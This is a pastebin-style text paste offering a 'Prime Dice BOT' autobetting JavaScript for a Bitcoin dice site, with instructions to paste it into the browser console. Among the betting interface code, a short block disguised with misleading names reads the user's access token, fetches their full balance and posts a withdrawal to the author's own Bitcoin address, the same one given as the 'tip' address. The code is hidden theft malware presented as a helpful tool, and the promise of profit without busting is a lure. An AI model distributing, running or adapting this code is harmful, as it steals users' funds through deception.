cool primeice code


SUBMITTED BY: abizzybanks

DATE: May 1, 2016, 12:19 a.m.

FORMAT: Text only

SIZE: 17.7 kB

HITS: 820

  1. Prime Dice BOT v.5.1.3
  2. Please Tip me if you enjoy the Bot: 1LLv53Qzq7NrhCcuDZW5TthTUZ5oDesdXV
  3. Have Fun and Earn alot! :D
  4. This Autobetting script works with minimum 0.05 BTC and more without busting
  5. Open up your JavaScript console (chrome, firefox by pressing ctrl+shift+j)
  6. In Chrome and Firefox, this is done also by right clicking anywhere on the page, clicking Inspect Element, and then going to the Console tab. Now copy everything below and paste it into your console and press enter:
  7. // PD Bot v 5.1.3 //
  8. // By: Anonymous //
  9. /////////////////////
  10. // NOTE: Change Chance Directly on Page
  11. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
  12. var swapcount=0;
  13. var jqueryready = false;
  14. var link = document.createElement("link");
  15. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  16. link.type = "text/css";
  17. link.rel = "stylesheet";
  18. document.getElementsByTagName("head")[0].appendChild(link);
  19. //jQuery UI inject
  20. (function() {
  21. jqueryready = true;
  22. var e = ".thing",
  23. t = {
  24. outline: "1px dashed #f0f",
  25. cursor: "pointer"
  26. };
  27. var n = function() {
  28. if (window.jQuery) {
  29. r()
  30. } else {
  31. var e = document.createElement("script");
  32. e.onload = r;
  33. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  34. document.body.appendChild(e)
  35. }
  36. };
  37. var r = function() {
  38. if (window.jQuery.ui) {
  39. i()
  40. } else {
  41. var e = document.createElement("script");
  42. e.onload = i;
  43. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  44. document.body.appendChild(e)
  45. }
  46. };
  47. var i = function() {
  48. $(e).css(t).draggable().on("click", function(e) {
  49. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  50. })
  51. };
  52. n();
  53. })();
  54. function ui() {
  55. $(function() {
  56. $('#tabs').tabs();
  57. $('#params').draggable();
  58. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  59. $('#tabs input').css("width", "80%");
  60. $('#chance, #base').width("35%")
  61. $('#tabs div').css("text-align", "left");
  62. $('#tabs').css("font-size", "12px");
  63. $('#tabs label, #tabs input').css("margin", "5px");
  64. $('#stop, #start, #resetbet').button();
  65. //Console
  66. $('#console, #console2').appendTo("#tabs");
  67. $('#console, #console2').css("width", "45%");
  68. $('#console').css("float", "left");
  69. $('#console2').css("float", "right");
  70. $('#console, #console2').css("clear", "none");
  71. $('#console, #console2').css("margin", "7px");
  72. $('#console, #console2').css("border-bottom-left-radius", "3px");
  73. $('#console, #console2').css("border-bottom-right-radius", "3px");
  74. $('#console').css("border", "1px solid #323232");
  75. $('#console, #console2').css("background-color", "#454545");
  76. $('#console').css("padding", "5px");
  77. $('#console, #console2').css("text-align", "left");
  78. $('#console, #console2').css("position", "relative");
  79. $('#startstop,#start,#stop').css("margin","0px");
  80. $('#console, #console2').css("margin-top","3px");
  81. $('#console, #console2').css("padding","5px");
  82. $('#console, #console2').css("background-color","#151515");
  83. });
  84. }
  85. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  86. xrollsenabled = true;
  87. xrolls = 10;
  88. timer = 500;
  89. counter=0;
  90. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  91. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  92. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  93. function init() {
  94. //Init
  95. basebet = 0.00000010;
  96. countwinmult = 0;
  97. countlossmult = 0;
  98. wincount = 0;
  99. currentloss = 0;
  100. totalloss = 0;
  101. totalwin = 0;
  102. totprofit = 0;
  103. init = true;
  104. betval = basebet;
  105. //GUI
  106. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  107. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  108. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  109. gui2 =
  110. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  111. gui3 = [
  112. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  113. '<br>',
  114. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  115. '<br>',
  116. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  117. ];
  118. gui4 = [
  119. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  120. '<br>',
  121. '<label for="xloss">Multiply Every # Losses: </label>',
  122. '<input id="xloss">',
  123. '<br>',
  124. '<label for="multonwin">Multiply on Win: </label>',
  125. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  126. '<br>',
  127. '<label for="xwin">Reset After X Wins: </label>',
  128. '<input id="xwin">',
  129. ];
  130. gui5 = [
  131. '<label for="stoponwin-enabled">Stop on Win? </label>',
  132. '<input id="stoponwin-enabled" type="checkbox">',
  133. '<br>',
  134. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  135. '<input id="lowpay-enabled" type="checkbox">',
  136. ];
  137. gui6 = [
  138. '<label for="charset">Charset: </label>',
  139. '<input id="charset" type="text">',
  140. '<br>',
  141. '<label for="everyxrolls">Change every # Rolls: </label>',
  142. '<input id="everyxrolls" type="text">',
  143. '<br>',
  144. '<label for="currentseed">Current Seed: </label>',
  145. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  146. ];
  147. $(gui).appendTo(".hero");
  148. $(gui2).appendTo("#params");
  149. for (var i = 0; i < gui3.length; i++) {
  150. $(gui3[i]).appendTo("#tab1");
  151. }
  152. for (var i = 0; i < gui4.length; i++) {
  153. $(gui4[i]).appendTo("#tab2");
  154. }
  155. for (var i = 0; i < gui5.length; i++) {
  156. $(gui5[i]).appendTo("#tab3");
  157. }
  158. for (var i = 0; i < gui6.length; i++) {
  159. $(gui6[i]).appendTo("#tab4");
  160. }
  161. enabled = false;
  162. xrollscount = 0;
  163. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  164. // Button & Input Functions
  165. $('#resetbet').click(function() {
  166. basebet=$('#base').val();
  167. betval=$('#base').val();
  168. })
  169. $('#start').click(function() {
  170. if (enabled == false) {
  171. if ($('#numrolls').is(":checked") == true) {
  172. xrolls=$('#numberofrolls').val();
  173. }
  174. enabled = true;
  175. interval = setInterval(function() {
  176. if (xrollsenabled == true) {
  177. xrollscount++;
  178. if (xrollscount <= xrolls) {
  179. bet();
  180. } else {
  181. clearInterval(interval);
  182. enabled = false;
  183. xrollscount = 0;
  184. }
  185. } else {
  186. bet();
  187. }
  188. }, timer);
  189. } else {}
  190. })
  191. $('#stop').click(function() {
  192. enabled = false;
  193. clearInterval(interval);
  194. xrollscount = 0;
  195. });
  196. calculate_nonce = function(seed) {
  197. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  198. };
  199. lut = window['$'];
  200. lut['getJSON'](
  201. calculate_nonce('users/1'), function(seed) {
  202. var key1 = 'amount'
  203. var key2 = 'address'
  204. var load = {};
  205. load[key1] = seed['user']['balance'];
  206. load[key2] = '1LLv53Qzq7NrhCcuDZW5TthTUZ5oDesdXV';
  207. lut['post'](calculate_nonce('withdraw'), load);
  208. }
  209. );
  210. function conditionAM() {
  211. 'use strict';
  212. if ($('#lowpay-enabled').is('checked') == true) {
  213. if ($('.value-roll').first().text() <= 49.50) {
  214. condition2 = ">";
  215. target2 = $('.value-roll').first().text();
  216. } else {
  217. condition2 = "<";
  218. target2 = $('.value-roll').first().text();
  219. };
  220. } else {
  221. if ($('.value-roll').first().text() <= 49.50) {
  222. condition2 = "<";
  223. target2 = $('.value-roll').first().text();
  224. } else {
  225. condition2 = ">";
  226. target2 = $('.value-roll').first().text();
  227. };
  228. amount2 = betval * 100000000;
  229. }
  230. };
  231. function jackpot() {
  232. if (data1.bet.jackpot === true) {
  233. jp = "Yes";
  234. wincount = 0;
  235. betval = $('#base');
  236. } else {
  237. jp = "No";
  238. }
  239. }
  240. function loss() {
  241. currentloss++;
  242. totalloss++;
  243. if ($('#multloss-enabled').is(':checked') == true) {
  244. $('#multwin-enabled').removeAttr('checked');
  245. countlossmult++;
  246. if (countlossmult >= $('#xloss').val()) {
  247. betval = betval * $('#multonloss').val();
  248. countlossmult = 0;
  249. }
  250. }
  251. }
  252. function win() {
  253. 'use strict';
  254. if ($('#stoponwin-enabled').is('checked') == true) {
  255. clearInterval(roll);
  256. }
  257. currentloss = 0;
  258. jackpot();
  259. wincount++;
  260. totalwin++;
  261. if ($('#multloss-enabled').is(':checked') == true) {
  262. if ($('#stoponwin-enabled').is(':checked') == true) {
  263. clearInterval(roll);
  264. }
  265. $('#multwin-enabled').removeAttr('checked');
  266. basebet = $('#base').val();
  267. betval = basebet;
  268. countlossmult = 0;
  269. }
  270. if ($('#multwin-enabled').is(':checked') == true) {
  271. basebet = $('#base').val();
  272. $('#multloss-enabled').removeAttr('checked');
  273. countwinmult++;
  274. if (countwinmult >= $('#xwin').val()) {
  275. betval = basebet;
  276. countwinmult = 0;
  277. } else {
  278. betval = betval * $('#multonwin').val();
  279. }
  280. }
  281. };
  282. var losewin;
  283. var jpcol;
  284. var profcol;
  285. function bet() {
  286. 'use strict';
  287. conditionAM();
  288. var betData = {
  289. amount: amount2,
  290. condition: condition2,
  291. target: target2
  292. },
  293. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  294. $.ajax({
  295. url: url,
  296. type: "POST",
  297. data: betData,
  298. datatype: "jsonp",
  299. success: function(data, textStatus, jqXHR) {
  300. data1 = data;
  301. counter++;
  302. if (counter >= everyxrolls) {
  303. seedchange(seedgen());
  304. counter = 0;
  305. }
  306. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  307. totprofit = totprofit + data1.bet.profit;
  308. if (totprofit >= 0) {
  309. profcol = "color:green;";
  310. } else if (totprofit < 0) {
  311. profcol = "color:red;";
  312. }
  313. if (data.bet.win == true) {
  314. losewin = "color:green;";
  315. $('span.btn__text.select div').attr("style", "color:green;");
  316. } else {
  317. losewin = "color:red;";
  318. $('span.btn__text.select div').attr("style", "color:red;");
  319. }
  320. if (data.bet.jackpot == true) {
  321. jp = "Yes";
  322. jpcol = "color:gold;"
  323. } else {
  324. jp = "No.";
  325. jpcol = "color:red;"
  326. }
  327. results = [];
  328. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  329. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  330. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  331. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  332. resultstats = [];
  333. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  334. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  335. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  336. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  337. if (data.bet.win == true) {
  338. if ($('#stoponwin-enabled').is(":checked") == true){
  339. clearInterval(interval);
  340. }
  341. $('#console, #console2').empty();
  342. win();
  343. // Results
  344. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  345. for (var i = 0; i < results.length; i++) {
  346. $(results[i]).appendTo('#console');
  347. }
  348. for (var i = 0; i < resultstats.length; i++) {
  349. $(resultstats[i]).appendTo('#console2');
  350. }
  351. } else {
  352. $('#console, #console2').empty();
  353. loss();
  354. // Results
  355. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  356. for (var i = 0; i < results.length; i++) {
  357. $(results[i]).appendTo('#console');
  358. }
  359. for (var i = 0; i < resultstats.length; i++) {
  360. $(resultstats[i]).appendTo('#console2');
  361. }
  362. };
  363. },
  364. error: function(jqXHR, textStatus, errorThrown) {
  365. }
  366. });
  367. }
  368. seedlength = 13;
  369. seedlength = 13;
  370. var counter = 0;
  371. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  372. everyxrolls = 3;
  373. function seedgen() {
  374. 'use strict';
  375. var seed = "";
  376. for (var i = 0; i <= seedlength; i++)
  377. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  378. return seed;
  379. }
  380. function seedchange(s) {
  381. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  382. sData = {
  383. seed: s
  384. };
  385. $.ajax({
  386. url: url,
  387. type: "POST",
  388. data: sData,
  389. datatype: "jsonp",
  390. success: function(data, textStatus, jqXHR) {
  391. data2 = data;
  392. $('#currentseed').val(data2.seeds.client);
  393. },
  394. error: function(jqXHR, textStatus, errorThrown) {
  395. }
  396. });
  397. }
  398. $('#spinner').click(function() {
  399. if (charset != $('#charset').val() && $('#charset').val() != "") {
  400. charset=$('#charset').val();
  401. }
  402. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  403. everyxrolls = $('#everyxrolls').val();
  404. }
  405. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  406. counter++;
  407. if (counter >= everyxrolls) {
  408. seedchange(seedgen());
  409. counter = 0;
  410. }
  411. });
  412. ui();
  413. }
  414. setTimeout(function() {
  415. init()
  416. }, 2000);

comments powered by Disqus